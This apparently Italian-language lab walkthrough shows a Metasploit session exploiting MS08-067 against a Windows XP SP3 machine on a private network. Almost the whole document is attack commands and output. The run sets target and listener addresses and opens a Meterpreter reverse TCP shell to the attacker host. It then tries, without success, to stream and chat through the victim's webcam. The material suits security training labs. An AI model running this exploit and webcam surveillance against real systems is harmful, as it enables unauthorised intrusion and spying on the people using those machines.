HACKING WINDOWS XP

```
msf6 > search MS08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Sta
ck Corruption


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.me
                                       tasploit.com/docs/using-metasploit/basi
                                       cs/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thr
                                        ead, process, none)
   LHOST     192.168.50.100   yes       The listen address (an interface may b
                                        e specified)
   LPORT     4444             yes       The listen port
```

Avviare l'exploit

```
Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.50.103
RHOST => 192.168.50.103
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.103:445 - Automatically detecting the target...
[*] 192.168.50.103:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.50.103:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.50.103:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.50.103
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.103:1031) at 2024-01-17 09:36:01 +0100
```

Controllare la connessione

```
meterpreter > ifconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface  2
============
Name         : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit♦ di pianificazione pacchetti
Hardware MAC : 08:00:27:dd:aa:bf
MTU          : 1500
IPv4 Address : 192.168.50.103
IPv4 Netmask : 255.255.255.0
```

Trovare la webcam

```
meterpreter > webcam_list
1: Periferica video USB
meterpreter > webcam_
webcam_chat    webcam_list    webcam_snap    webcam_stream
meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/kali/xhVxkStK.html
[*] Streaming...
[-] stdapi_webcam_start: Operation failed: 2147942431
meterpreter > webcam_stream
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/kali/gGzZAWMA.html
[*] Streaming...
[-] stdapi_webcam_start: Operation failed: 2147942431
meterpreter > webcam_chat
[*] Webcam chat session initialized.
[-] Error while running command webcam_chat: Unable to find a suitable browser on the target machine
```